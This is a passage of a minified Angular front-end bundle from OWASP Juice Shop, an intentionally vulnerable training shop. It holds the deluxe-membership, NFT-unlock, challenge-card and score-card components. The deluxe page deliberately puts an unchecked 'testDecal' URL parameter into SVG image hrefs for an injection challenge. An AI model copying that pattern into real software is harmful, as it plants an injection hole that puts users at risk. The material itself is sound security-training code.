auto;width:50%}.noResult[_ngcontent-%COMP%]{display:block;margin-left:auto;margin-right:auto;width:60%}.noResultText[_ngcontent-%COMP%]{display:block;margin-top:10px;text-align:center}.tweet-logo[_ngcontent-%COMP%]{height:24px}"]}),n})();function Pc(n,a){if(1&n&&(t.TgZ(0,"div",22)(1,"div",23)(2,"p",24),t._uU(3),t.qZA()()()),2&n){const e=t.oxw();t.xp6(3),t.Oqu(e.error)}}function Nc(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"div")(1,"div",14),t._uU(2),t.qZA(),t.TgZ(3,"div",14)(4,"button",25),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.upgradeToDeluxe())}),t.TgZ(5,"span",13),t._uU(6,"LABEL_BECOME_MEMBER"),t.qZA()()()()}if(2&n){const e=t.oxw();t.xp6(2),t.hij(" ",e.membershipCost,"\\xa4 ")}}const Ec=function(n){return{appname:n}};let Mc=(()=>{class n{constructor(e,o,i,r,l,m,v){this.router=e,this.userService=o,this.cookieService=i,this.configurationService=r,this.route=l,this.ngZone=m,this.io=v,this.membershipCost=0,this.error=void 0,this.applicationName="OWASP Juice Shop",this.logoSrc="assets/public/images/JuiceShop_Logo.png"}ngOnInit(){this.configurationService.getApplicationConfiguration().subscribe(e=>{const o=this.route.snapshot.queryParams.testDecal;if(e?.application&&(e.application.name&&(this.applicationName=e.application.name),e.application.logo)){let i=e.application.logo;"http"===i.substring(0,4)&&(i=decodeURIComponent(i.substring(i.lastIndexOf("/")+1))),this.logoSrc=`assets/public/images/${o||i}`}o&&this.ngZone.runOutsideAngular(()=>{this.io.socket().emit("verifySvgInjectionChallenge",o)})},e=>{console.log(e)}),this.userService.deluxeStatus().subscribe(e=>{this.membershipCost=e.membershipCost},e=>{this.error=e.error.error})}upgradeToDeluxe(){var e=this;this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/payment","deluxe"])}))}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(U.F0),t.Y36(R),t.Y36(I.N_),t.Y36(b.e),t.Y36(U.gz),t.Y36(t.R0b),t.Y36(st))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-deluxe-user"]],decls:50,vars:10,consts:[["fxLayout","column","fxLayoutGap","10px",1,"main-wrapper"],["class","heading mat-elevation-z6",4,"ngIf"],[1,"mat-elevation-z6","deluxe-membership"],["fxFlexAlign","center","fxFlex","30%",1,"img-container"],["viewBox","0 0 720 720","xmlns","http://www.w3.org/2000/svg"],["href","assets/public/images/deluxe/blankBoxes.png","x","0","y","0","height","720","width","720"],["x","260","y","130","height","50"],["x","230","y","330","height","70"],["x","70","y","355","height","40"],["x","120","y","450","height","55"],["x","500","y","410","height","45"],["fxFlexAlign","center","fxFlex","60%"],[1,"item-name"],["translate",""],[1,"item-description"],["translate","",3,"translateParams"],[4,"ngIf"],["fxLayout","row","fxLayoutGap","10px","fxLayout.lt-md","column"],["fxFlex","33.33%",1,"mat-elevation-z6"],["fxFlexAlign","center","fxFlex","40%",1,"img-container"],[1,"img-responsive","img-thumbnail",2,"transform","scale(3)"],["translate","",1,"item-description"],[1,"heading","mat-elevation-z6"],[2,"margin-top","5px"],[1,"error"],["aria-label","Add to Basket","color","primary","mat-button","","mat-raised-button","",1,"btn-member",3,"click"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0),t.YNc(1,Pc,4,1,"div",1),t.TgZ(2,"mat-card",2)(3,"div",3),t.O4$(),t.TgZ(4,"svg",4),t._UZ(5,"image",5)(6,"image",6)(7,"image",7)(8,"image",8)(9,"image",9)(10,"image",10),t.qZA()(),t.kcU(),t.TgZ(11,"div",11)(12,"div",12)(13,"b",13),t._uU(14,"LABEL_DELUXE_MEMBERSHIP"),t.qZA()(),t.TgZ(15,"div",14)(16,"span",15),t._uU(17,"DESCRIPTION_DELUXE_MEMBERSHIP"),t.qZA()(),t.YNc(18,Nc,7,1,"div",16),t.qZA()(),t.TgZ(19,"div",17)(20,"mat-card",18)(21,"div",19)(22,"mat-icon",20),t._uU(23," slideshow "),t.qZA()(),t.TgZ(24,"div",11)(25,"div",12)(26,"b",13),t._uU(27,"LABEL_DEALS_OFFERS"),t.qZA()(),t.TgZ(28,"div",21),t._uU(29," DESCRIPTION_DEALS_OFFERS "),t.qZA()()(),t.TgZ(30,"mat-card",18)(31,"div",19)(32,"mat-icon",20),t._uU(33," directions_car "),t.qZA()(),t.TgZ(34,"div",11)(35,"div",12)(36,"b",13),t._uU(37,"LABEL_FREE_FAST_DELIVERY"),t.qZA()(),t.TgZ(38,"div",21),t._uU(39," DESCRIPTION_FREE_FAST_DELIVERY "),t.qZA()()(),t.TgZ(40,"mat-card",18)(41,"div",19)(42,"mat-icon",20),t._uU(43," add "),t.qZA()(),t.TgZ(44,"div",11)(45,"div",12)(46,"b",13),t._uU(47,"LABEL_UNLIMITED_PURCHASE"),t.qZA()(),t.TgZ(48,"div",21),t._uU(49," DESCRIPTION_UNLIMITED_PURCHASE "),t.qZA()()()()()),2&e&&(t.xp6(1),t.Q6J("ngIf",o.error),t.xp6(5),t.uIk("href",o.logoSrc),t.xp6(1),t.uIk("href",o.logoSrc),t.xp6(1),t.uIk("href",o.logoSrc),t.xp6(1),t.uIk("href",o.logoSrc),t.xp6(1),t.uIk("href",o.logoSrc),t.xp6(6),t.Q6J("translateParams",t.VKq(8,Ec,o.applicationName)),t.xp6(2),t.Q6J("ngIf",!o.error))},dependencies:[h.O5,u.Pi,p.xw,p.SQ,p.XD,p.yH,F.Hw,x.lW,T.a8],styles:[".heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.2);font-size:x-large;justify-content:center;padding:12px 20px}.main-wrapper[_ngcontent-%COMP%]{margin-left:10%;margin-right:10%}.img-thumbnail[_ngcontent-%COMP%]{background:none;border:0;margin-left:20px}.btn-member[_ngcontent-%COMP%]{bottom:10%}.item-description[_ngcontent-%COMP%]{font-size:initial;margin-top:12px;text-align:center}.item-name[_ngcontent-%COMP%]{font-size:large;text-align:center}"]}),n})();var Ge=c(5376);function Dc(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"div")(1,"div")(2,"mat-card-title",5),t._uU(3,"TITLE_SBT"),t.qZA()(),t.TgZ(4,"form",6),t.NdJ("ngSubmit",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.submitForm())}),t.TgZ(5,"div",7)(6,"mat-form-field",8)(7,"mat-label",5),t._uU(8,"LABEL_PRIVATE_KEY"),t.qZA(),t.TgZ(9,"input",9),t.NdJ("ngModelChange",function(i){t.CHM(e);const r=t.oxw();return t.KtG(r.privateKey=i)}),t.qZA()(),t.TgZ(10,"h5",10),t._uU(11),t.qZA()(),t.TgZ(12,"button",11),t._uU(13," BTN_AUTHENTICATE "),t.qZA()()()}if(2&n){const e=t.oxw();t.xp6(9),t.Q6J("ngModel",e.privateKey),t.xp6(2),t.Oqu(e.errorMessage)}}function qc(n,a){1&n&&(t.TgZ(0,"div")(1,"div")(2,"mat-card-title",5),t._uU(3,"TITLE_SBT"),t.qZA()(),t.TgZ(4,"div",12),t._uU(5),t.ALo(6,"translate"),t.TgZ(7,"a",13),t._uU(8,"8343D2"),t.qZA()(),t._UZ(9,"mat-divider",14),t.TgZ(10,"div",15)(11,"div",16),t._uU(12,"LABEL_ACCOUNT_ADDRESS"),t.qZA(),t._UZ(13,"mat-divider",14),t.TgZ(14,"p",17),t._uU(15,"0x8343d2eb2B13A2495De435a1b15e85b98115Ce05"),t.qZA()(),t.TgZ(16,"div",15)(17,"div",16),t._uU(18,"LABEL_DESCRIPTION"),t.qZA(),t._UZ(19,"mat-divider",14),t.TgZ(20,"p",17),t._uU(21," {{\'NFT_SBT_BOX_TEXT\' | translate: { link: \'"),t.TgZ(22,"a",18),t._uU(23,"Opensea"),t.qZA(),t._uU(24,"\' } }} "),t.qZA()()()),2&n&&(t.xp6(5),t.hij(" ",t.lcZ(6,1,"OWNED_BY")," "))}let Fc=(()=>{class n{constructor(e){this.keysService=e,this.formSubmitted=!1,this.successResponse=!1,this.errorMessage=""}ngOnInit(){this.checkChallengeStatus()}checkChallengeStatus(){this.keysService.nftUnlocked().subscribe(e=>{this.successResponse=e.status},e=>{console.error(e),this.successResponse=!1})}submitForm(){this.formSubmitted=!0,this.keysService.submitKey(this.privateKey).subscribe(e=>{e.success?(this.successResponse=!0,this.errorMessage=e.message):this.successResponse=!1},e=>{this.successResponse=!1,this.errorMessage=e.error.message})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(Ge.t))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-nft-unlock"]],decls:9,vars:2,consts:[["fxLayout","column","fxLayoutGap","20px",1,"container"],["mat-raised-button","","color","warn","fxFlexAlign","center","translate","",1,"detail-container","offer-container","warning-container"],["fxFlexAlign","center","fxLayout","row","fxLayout.lt-lg","column",1,"detail-container","offer-container"],["src","assets/public/images/products/juicy_chatbot.jpg"],[4,"ngIf"],["translate",""],[3,"ngSubmit"],[1,"form-group"],["color","accent","appearance","outline",2,"width","350px"],["matInput","","id","privateKey","name","privateKey","required","","type","text","aria-label","Text field for the private key",3,"ngModel","ngModelChange"],[1,"error"],["type","submit","mat-raised-button","","color","accent","translate","",1,"btn","btn-primary"],[1,"owner-text"],["target","_blank","href","https://testnets.opensea.io/0x8343d2eb2B13A2495De435a1b15e85b98115Ce05"],[1,"detail-divider"],[1,"detail-box","mat-elevation-z6"],["translate","",1,"box-title"],[1,"box-text"],["target","_blank","href","https://testnets.opensea.io/assets/mumbai/0xf4817631372dca68a25a18eb7a0b36d54f3dbcf7/0"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card")(1,"div",0)(2,"button",1),t._uU(3," BTN_SBT_NOTE "),t.qZA(),t.TgZ(4,"div",2)(5,"div"),t._UZ(6,"img",3),t.qZA(),t.YNc(7,Dc,14,2,"div",4),t.YNc(8,qc,25,3,"div",4),t.qZA()()()),2&e&&(t.xp6(7),t.Q6J("ngIf",!o.successResponse),t.xp6(1),t.Q6J("ngIf",o.successResponse))},dependencies:[h.O5,u.Pi,p.xw,p.SQ,p.XD,s._Y,s.Fj,s.JJ,s.JL,s.Q7,s.On,s.F,f.KE,f.hX,x.lW,T.a8,T.n5,B.Nt,z.d,u.X$],styles:[".container[_ngcontent-%COMP%]{justify-content:center}.heading[_ngcontent-%COMP%]{justify-content:center;margin-bottom:10px;padding:12px 20px}.detail-container.offer-container[_ngcontent-%COMP%]{display:flex;gap:16px;max-width:700px;min-width:300px;width:70%}.owner-text[_ngcontent-%COMP%]{margin-bottom:10px}.warning-container[_ngcontent-%COMP%]{border-radius:4px;font-weight:600;justify-content:center;padding:16px;text-align:center;white-space:normal}.title[_ngcontent-%COMP%]{padding-bottom:27px}.text-justify[_ngcontent-%COMP%]{text-align:justify}mat-card[_ngcontent-%COMP%]{margin-bottom:10px}mat-card[_ngcontent-%COMP%]:nth-child(1){border-radius:5px;margin:0 auto;width:80%}.detail-box[_ngcontent-%COMP%]{margin-bottom:16px;padding:16px}.box-title[_ngcontent-%COMP%]{font-size:16px;font-weight:500}.box-text[_ngcontent-%COMP%]{margin-top:8px;overflow-wrap:break-word}.form-group[_ngcontent-%COMP%]{display:flex;flex-direction:column;margin-top:16px;width:100%}"]}),n})();var Bc=c(3426);const qt=Object.freeze({categories:[],difficulties:[],tags:[],status:null,searchQuery:null,showDisabledChallenges:!0,restrictToTutorialChallengesFirst:!1});function je(n){return{searchQuery:n.searchQuery||void 0,difficulties:n.difficulties.join(",")||void 0,status:n.status||void 0,tags:n.tags.join(",")||void 0,categories:n.categories.join(",")||void 0,showDisabledChallenges:n.showDisabledChallenges?void 0:"false"}}var Ke=c(7163),We=c(1572),ze=c(1096);function Hc(n,a){1&n&&(t.ynx(0),t.O4$(),t.TgZ(1,"svg",1),t._UZ(2,"path",2),t.qZA(),t.BQk())}const Gc=function(){return[]};let $e=(()=>{class n{}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["difficulty-stars"]],inputs:{difficulty:"difficulty"},decls:1,vars:2,consts:[[4,"ngFor","ngForOf"],["width","18","height","18","viewBox","0 0 14 13","fill","none","xmlns","http://www.w3.org/2000/svg"],["d","M6.56386 0.511963L8.10332 5.24992H13.0851L9.05475 8.17813L10.5942 12.9161L6.56386 9.98787L2.53352 12.9161L4.07297 8.17813L0.0426283 5.24992H5.02441L6.56386 0.511963Z","fill","var(--theme-text)"]],template:function(e,o){1&e&&t.YNc(0,Hc,3,0,"ng-container",0),2&e&&t.Q6J("ngForOf",t.DdM(1,Gc).constructor(o.difficulty))},dependencies:[h.sg],styles:["[_nghost-%COMP%]{display:flex}"]}),n})(),jc=(()=>{class n{constructor(e){this.translate=e}transform(e,o={hintUrl:null}){return o.hintUrl?this.translate.get("CLICK_FOR_MORE_HINTS").pipe((0,C.U)(i=>`${e} ${i}`)):(0,bt.of)(e)}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(u.sK,16))},n.\\u0275pipe=t.Yjl({name:"challengeHint",type:n,pure:!1}),n})();function Kc(n,a){if(1&n&&(t.TgZ(0,"span",17),t.ALo(1,"translate"),t._uU(2),t.qZA()),2&n){const e=a.$implicit;t.Q6J("matTooltip",t.lcZ(1,2,"TAG_"+(null==e?null:e.toUpperCase().split(" ").join("_"))+"_DESCRIPTION")),t.xp6(2),t.Oqu(e)}}const Wc=function(n){return{env:n}};function zc(n,a){if(1&n&&(t.TgZ(0,"button",18),t.ALo(1,"translate"),t.TgZ(2,"mat-icon"),t._uU(3,"info_outline"),t.qZA()()),2&n){const e=t.oxw();t.Q6J("matTooltip",t.xi3(1,3,"CHALLENGE_UNAVAILABLE",t.VKq(6,Wc,e.challenge.disabledEnv))),t.xp6(2),t.Udp("color","var(--theme-warn)")}}function $c(n,a){if(1&n&&(t.TgZ(0,"span",21),t._uU(1),t.qZA()),2&n){const e=t.oxw(2);t.xp6(1),t.hij("",e.challenge.codingChallengeStatus,"/2")}}const Vc=function(n,a){return{"partially-completed":n,completed:a}};function Xc(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",19),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.openCodingChallengeDialog(i.challenge.key))}),t.ALo(1,"translate"),t.YNc(2,$c,2,1,"span",20),t.TgZ(3,"mat-icon"),t._uU(4,"code"),t.qZA()()}if(2&n){const e=t.oxw();t.Q6J("disabled",!1===e.challenge.solved)("ngClass",t.WLB(6,Vc,1===e.challenge.codingChallengeStatus,2===e.challenge.codingChallengeStatus))("matTooltip",t.lcZ(1,4,e.challenge.solved?"LAUNCH_CODING_CHALLENGE":"SOLVE_HACKING_CHALLENGE")),t.xp6(2),t.Q6J("ngIf",0!==e.challenge.codingChallengeStatus)}}function tu(n,a){if(1&n&&(t.TgZ(0,"a",22),t.ALo(1,"translate"),t.TgZ(2,"mat-icon"),t._uU(3,"policy_outline"),t.qZA()()),2&n){const e=t.oxw();t.Q6J("href",e.challenge.mitigationUrl,t.LSH)("matTooltip",t.lcZ(1,2,"INFO_VULNERABILITY_MITIGATION_LINK"))}}const eu=function(n){return{completed:n}};function nu(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",23),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.repeatChallengeNotification(i.challenge.key))}),t.ALo(1,"translate"),t.TgZ(2,"mat-icon"),t._uU(3,"flag_outline"),t.qZA()()}if(2&n){const e=t.oxw();t.Q6J("ngClass",t.VKq(4,eu,e.challenge.solved))("matTooltip",t.lcZ(1,2,"NOTIFICATION_RESEND_INSTRUCTIONS"))}}function ou(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",24),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.startHackingInstructorFor(i.challenge.name))}),t.ALo(1,"translate"),t.TgZ(2,"mat-icon"),t._uU(3,"school_outline"),t.qZA()()}2&n&&t.Q6J("matTooltip",t.lcZ(1,1,"INFO_HACKING_INSTRUCTOR"))}const au=function(n){return{hintUrl:n}};function iu(n,a){if(1&n&&(t.TgZ(0,"a",25),t.ALo(1,"async"),t.ALo(2,"challengeHint"),t.TgZ(3,"mat-icon"),t._uU(4,"lightbulb"),t.qZA(),t._uU(5," Hint "),t.qZA()),2&n){const e=t.oxw();t.Udp("padding","0 6px 0 4px"),t.Q6J("href",e.challenge.hintUrl,t.LSH)("matTooltip",t.lcZ(1,4,t.xi3(2,6,e.challenge.hint,t.VKq(9,au,e.challenge.hintUrl))))}}function ru(n,a){if(1&n&&(t.TgZ(0,"span",26)(1,"mat-icon"),t._uU(2,"lightbulb"),t.qZA(),t._uU(3," Hint "),t.qZA()),2&n){const e=t.oxw();t.Udp("padding","0 6px 0 4px"),t.Q6J("matTooltip",e.challenge.hint)}}let su=(()=>{class n{constructor(){this.hasInstructions=ze.hasInstructions,this.startHackingInstructorFor=ze.startHackingInstructorFor}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["challenge-card"]],inputs:{challenge:"challenge",openCodingChallengeDialog:"openCodingChallengeDialog",repeatChallengeNotification:"repeatChallengeNotification",applicationConfiguration:"applicationConfiguration"},decls:19,vars:12,consts:[[1,"category-row"],[1,"name-row"],[1,"dot"],[1,"name"],[3,"difficulty"],[1,"description-row",3,"innerHtml"],[1,"bottom-row"],[1,"tags"],["class","tag",3,"matTooltip",4,"ngFor","ngForOf"],[1,"badge-group"],["class","badge",3,"matTooltip",4,"ngIf"],["class","badge",3,"disabled","ngClass","matTooltip","click",4,"ngIf"],["class","badge not-completable","target","_blank","rel","noopener noreferrer","aria-label","Vulnerability mitigation link",3,"href","matTooltip",4,"ngIf"],["class","badge",3,"ngClass","matTooltip","click",4,"ngIf"],["class","badge not-completable",3,"matTooltip","click",4,"ngIf"],["class","badge not-completable","target","_blank","rel","noopener noreferrer",3,"padding","href","matTooltip",4,"ngIf"],["class","badge not-completable",3,"padding","matTooltip",4,"ngIf"],[1,"tag",3,"matTooltip"],[1,"badge",3,"matTooltip"],[1,"badge",3,"disabled","ngClass","matTooltip","click"],["class","badge-status",4,"ngIf"],[1,"badge-status"],["target","_blank","rel","noopener noreferrer","aria-label","Vulnerability mitigation link",1,"badge","not-completable",3,"href","matTooltip"],[1,"badge",3,"ngClass","matTooltip","click"],[1,"badge","not-completable",3,"matTooltip","click"],["target","_blank","rel","noopener noreferrer",1,"badge","not-completable",3,"href","matTooltip"],[1,"badge","not-completable",3,"matTooltip"]],template:function(e,o){1&e&&(t.TgZ(0,"span",0),t._uU(1),t.qZA(),t.TgZ(2,"div",1),t._UZ(3,"div",2),t.TgZ(4,"span",3),t._uU(5),t.qZA(),t._UZ(6,"difficulty-stars",4),t.qZA(),t._UZ(7,"div",5),t.TgZ(8,"div",6)(9,"div",7),t.YNc(10,Kc,3,4,"span",8),t.qZA(),t.TgZ(11,"div",9),t.YNc(12,zc,4,8,"button",10),t.YNc(13,Xc,5,9,"button",11),t.YNc(14,tu,4,4,"a",12),t.YNc(15,nu,4,6,"button",13),t.YNc(16,ou,4,3,"button",14),t.YNc(17,iu,6,11,"a",15),t.YNc(18,ru,4,3,"span",16),t.qZA()()),2&e&&(t.xp6(1),t.Oqu(o.challenge.category),t.xp6(4),t.Oqu(o.challenge.name),t.xp6(1),t.Q6J("difficulty",o.challenge.difficulty),t.xp6(1),t.Q6J("innerHtml",o.challenge.description,t.oJD),t.xp6(3),t.Q6J("ngForOf",o.challenge.tagList),t.xp6(2),t.Q6J("ngIf",null!==o.challenge.disabledEnv),t.xp6(1),t.Q6J("ngIf",o.challenge.hasCodingChallenge),t.xp6(1),t.Q6J("ngIf",o.challenge.mitigationUrl&&o.challenge.solved),t.xp6(1),t.Q6J("ngIf",o.challenge.solved&&o.applicationConfiguration.ctf.showFlagsInNotifications),t.xp6(1),t.Q6J("ngIf",o.hasInstructions(o.challenge.name)),t.xp6(1),t.Q6J("ngIf",o.challenge.hint&&o.challenge.hintUrl),t.xp6(1),t.Q6J("ngIf",o.challenge.hint&&!o.challenge.hintUrl))},dependencies:[h.mk,h.sg,h.O5,F.Hw,Q.gM,$e,h.Ov,u.X$,jc],styles:["[_nghost-%COMP%]{background-color:var(--theme-background-darker);border-radius:2px;box-shadow:0 0 0 2px #50505040;display:grid;grid-template-rows:min-content min-content auto min-content;max-height:144px;overflow:hidden;padding:12px 16px}.solved[_nghost-%COMP%]{border-top:4px solid var(--theme-accent)}.solved[_nghost-%COMP%] .dot[_ngcontent-%COMP%]{background-color:var(--theme-accent)}.unsolved[_nghost-%COMP%]{border-top:4px solid rgba(80,80,80,.25)}.unsolved[_nghost-%COMP%] .dot[_ngcontent-%COMP%]{background-color:#5c5c5c}.disabled[_nghost-%COMP%]{filter:opacity(.4)}.disabled[_nghost-%COMP%] .dot[_ngcontent-%COMP%]{background-color:var(--theme-warn-fade-40)}.category-row[_ngcontent-%COMP%]{color:var(--theme-text-fade-50);font-size:12px;font-weight:600;line-height:14px}.name-row[_ngcontent-%COMP%]{align-items:center;column-gap:6px;display:grid;grid-template-columns:12px auto min-content;margin-top:8px}.name-row[_ngcontent-%COMP%] .dot[_ngcontent-%COMP%]{border-radius:50%;height:14px;width:14px}.name-row[_ngcontent-%COMP%] .name[_ngcontent-%COMP%]{font-size:16px;font-weight:600;line-height:18px}.difficulty[_ngcontent-%COMP%]{display:flex}.description-row[_ngcontent-%COMP%]{color:var(--theme-text-fade-50);font-size:12px;font-weight:400;line-height:14px;margin-top:12px;overflow-y:auto}.bottom-row[_ngcontent-%COMP%]{align-items:end;column-gap:4px;display:grid;grid-template-columns:auto min-content;margin-top:16px}.bottom-row[_ngcontent-%COMP%] .tags[_ngcontent-%COMP%]{display:flex;flex-wrap:wrap;gap:4px}.bottom-row[_ngcontent-%COMP%] .tag[_ngcontent-%COMP%]{background:#3d3d3d;border-radius:1.82849px;color:#5fc091;font-size:10px;font-style:normal;font-weight:400;line-height:14px;padding:6px}.badge-group[_ngcontent-%COMP%]{column-gap:4px;display:flex}.badge[_ngcontent-%COMP%]{align-items:center;background-color:var(--theme-background-lighter);border:0;border-radius:12px;color:var(--theme-text)!important;color:var(--theme-text);cursor:pointer;display:flex;height:24px;justify-content:center;min-width:24px;padding:0;position:relative}.badge[_ngcontent-%COMP%] mat-icon[_ngcontent-%COMP%]{font-size:16px;height:16px;width:16px}.badge[_ngcontent-%COMP%] .badge-status[_ngcontent-%COMP%]{background-color:var(--theme-background-darker);border:1px solid var(--theme-background-light);border-radius:4px;font-size:10px;padding:0 5px;position:absolute;top:-35%}.badge.completed[_ngcontent-%COMP%]{background-color:var(--theme-accent)}.badge.completed[_ngcontent-%COMP%] .badge-status[_ngcontent-%COMP%]{color:var(--theme-accent)}.badge.partially-completed[_ngcontent-%COMP%]{background-color:var(--theme-accent-dark)}.badge.partially-completed[_ngcontent-%COMP%] .badge-status[_ngcontent-%COMP%]{color:var(--theme-accent-dark)}.badge.not-completable[_ngcontent-%COMP%]{background-color:var(--theme-accent)}.badge.not-completable[_ngcontent-%COMP%] .badge-status[_ngcontent-%COMP%]{color:var(--theme-accent)}.badge[_ngcontent-%COMP%]:disabled{background-color:var(--theme-background-light);cursor:not-allowed}.badge[_ngcontent-%COMP%]:disabled .badge-status[_ngcontent-%COMP%]{color:var(--theme-accent)}"]}),n})();const lu=[[["","warning-icon",""]],[["","warning-text",""]],[["","warning-action",""]]],cu=["[warning-icon]","[warning-text]","[warning-action]"];let de=(()=>{class n{}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["warning-card"]],ngContentSelectors:cu,decls:7,vars:0,consts:[[1,"warning-container"],[1,"warning-text-icon-group"],[1,"warning-text"],[1,"warning-action"]],template:function(e,o){1&e&&(t.F$t(lu),t.TgZ(0,"div",0)(1,"div",1),t.Hsn(2),t.TgZ(3,"span",2),t.Hsn(4,1),t.qZA()(),t.TgZ(5,"div",3),t.Hsn(6,2),t.qZA()())},styles:[".warning-container[_ngcontent-%COMP%]{align-items:center;background-color:var(--theme-background-dark);border-radius:4px;display:grid;grid-template-columns:auto min-content;margin-top:16px;padding:12px}@media (max-width: 600px){.warning-container[_ngcontent-%COMP%]{grid-template-columns:auto;row-gap:12px}}.warning-text[_ngcontent-%COMP%]{margin-left:12px;padding-right:8px}.warning-text-icon-group[_ngcontent-%COMP%]{align-items:center;display:grid;grid-template-columns:min-content auto}"]}),n})();function uu(n,a){if(1&n&&t._UZ(0,"i",5),2&n){const e=t.oxw(2);t.Q6J("ngClass","icon-"+e.disabledBecauseOfEnv.toString().toLowerCase())}}function pu(n,a){if(1&n&&t._UZ(0,"i",5),2&n){const e=t.oxw(2);t.Q6J("ngClass","fab fa-"+e.disabledBecauseOfEnv.toString().toLowerCase())}}function du(n,a){1&n&&(t.ynx(0),t._uU(1),t.ALo(2,"translate"),t.BQk()),2&n&&(t.xp6(1),t.hij(" ",t.lcZ(2,1,"SHOW_DISABLED_CHALLENGES")," "))}function mu(n,a){1&n&&(t.ynx(0),t._uU(1),t.ALo(2,"translate"),t.BQk()),2&n&&(t.xp6(1),t.hij(" ",t.lcZ(2,1,"HIDE_DISABLED_CHALLENGES")," "))}const gu=function(n,a){return{num:n,env:a}};function hu(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"warning-card"),t.ynx(1,1),t.YNc(2,uu,1,1,"i",2),t.YNc(3,pu,1,1,"i",2),t.BQk(),t._UZ(4,"span",3),t.ALo(5,"translate"),t.TgZ(6,"button",4),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.toggleShowDisabledChallenges())}),t.YNc(7,du,3,3,"ng-container",0),t.YNc(8,mu,3,3,"ng-container",0),t.qZA()()}if(2&n){const e=t.oxw();t.xp6(2),t.Q6J("ngIf","Windows"!==e.disabledBecauseOfEnv),t.xp6(1),t.Q6J("ngIf","Windows"===e.disabledBecauseOfEnv),t.xp6(1),t.Q6J("innerHTML",t.xi3(5,5,"INFO_DISABLED_CHALLENGES",t.WLB(8,gu,e.numberOfDisabledChallenges,e.disabledBecauseOfEnv)),t.oJD),t.xp6(3),t.Q6J("ngIf",0==e.filterSetting.showDisabledChallenges),t.xp6(1),t.Q6J("ngIf",1==e.filterSetting.showDisabledChallenges)}}let _u=(()=>{class n{constructor(){this.filterSettingChange=new t.vpe,this.numberOfDisabledChallenges=0,this.disabledBecauseOfEnv=null}ngOnChanges(){const e=this.challenges.filter(o=>null!==o.disabledEnv);this.numberOfDisabledChallenges=e.length,this.numberOfDisabledChallenges>0&&(this.disabledBecauseOfEnv=e[0].disabledEnv)}toggleShowDisabledChallenges(){const e={...structuredClone(this.filterSetting),showDisabledChallenges:!this.filterSetting.showDisabledChallenges};this.filterSetting=e,this.filterSettingChange.emit(e)}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["challenges-unavailable-warning"]],inputs:{challenges:"challenges",filterSetting:"filterSetting"},outputs:{filterSettingChange:"filterSettingChange"},features:[t.TTD],decls:1,vars:1,consts:[[4,"ngIf"],["warning-icon",""],["class","env-icon",3,"ngClass",4,"ngIf"],["warning-text","",3,"innerHTML"],["warning-action","","mat-button","","color","accent",3,"click"],[1,"env-icon",3,"ngClass"]],template:function(e,o){1&e&&t.YNc(0,hu,9,11,"warning-card",0),2&e&&t.Q6J("ngIf",o.numberOfDisabledChallenges>0)},dependencies:[h.mk,h.O5,x.lW,de,u.X$],styles:[".env-icon[_ngcontent-%COMP%]{font-size:18px;padding:2px}"]}),n})();function fu(n,a){if(1&n&&(t.ynx(0),t._uU(1),t.ALo(2,"number"),t.BQk()),2&n){const e=t.oxw();t.xp6(1),t.hij(" ",t.xi3(2,1,e.score/e.total*100,"1.0-0"),"% ")}}function Cu(n,a){if(1&n&&(t.ynx(0),t._uU(1),t.TgZ(2,"span",6),t._uU(3),t.qZA(),t.BQk()),2&n){const e=t.oxw();t.xp6(1),t.hij(" ",e.score,"/"),t.xp6(2),t.Oqu(e.total)}}function vu(n,a){if(1&n&&(t.TgZ(0,"div",7),t._UZ(1,"div",8),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.Udp("width",e.score/e.total*100+"%")}}const xu=[[["","right-side",""]]],bu=["[right-side]"];let me=(()=>{class n{constructor(){this.showAsPercentage=!0,this.showProgressBar=!0}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["score-card"]],inputs:{description:"description",total:"total",score:"score",showAsPercentage:"showAsPercentage",showProgressBar:"showProgressBar"},ngContentSelectors:bu,decls:9,vars:4,consts:[[1,"score-group"],[1,"score"],[4,"ngIf"],[1,"category"],["class","progress-bar-container",4,"ngIf"],[1,"right-group"],[1,"fraction-total"],[1,"progress-bar-container"],[1,"progress-bar"]],template:function(e,o){1&e&&(t.F$t(xu),t.TgZ(0,"div",0)(1,"p",1),t.YNc(2,fu,3,4,"ng-container",2),t.YNc(3,Cu,4,2,"ng-container",2),t.qZA(),t.TgZ(4,"p",3),t._uU(5),t.qZA(),t.YNc(6,vu,2,2,"div",4),t.qZA(),t.TgZ(7,"div",5),t.Hsn(8),t.qZA()),2&e&&(t.xp6(2),t.Q6J("ngIf",1==o.showAsPercentage),t.xp6(1),t.Q6J("ngIf",0==o.showAsPercentage),t.xp6(2),t.Oqu(o.description),t.xp6(1),t.Q6J("ngIf",!0===o.showProgressBar))},dependencies:[h.O5,h.JJ],styles:["[_nghost-%COMP%]{background-color:var(--theme-background-dark);border-radius:4px;display:grid;grid-template-columns:auto min-content;height:100%}.score-group[_ngcontent-%COMP%]{display:flex;flex-direction:column;justify-content:center;padding:16px 0 16px 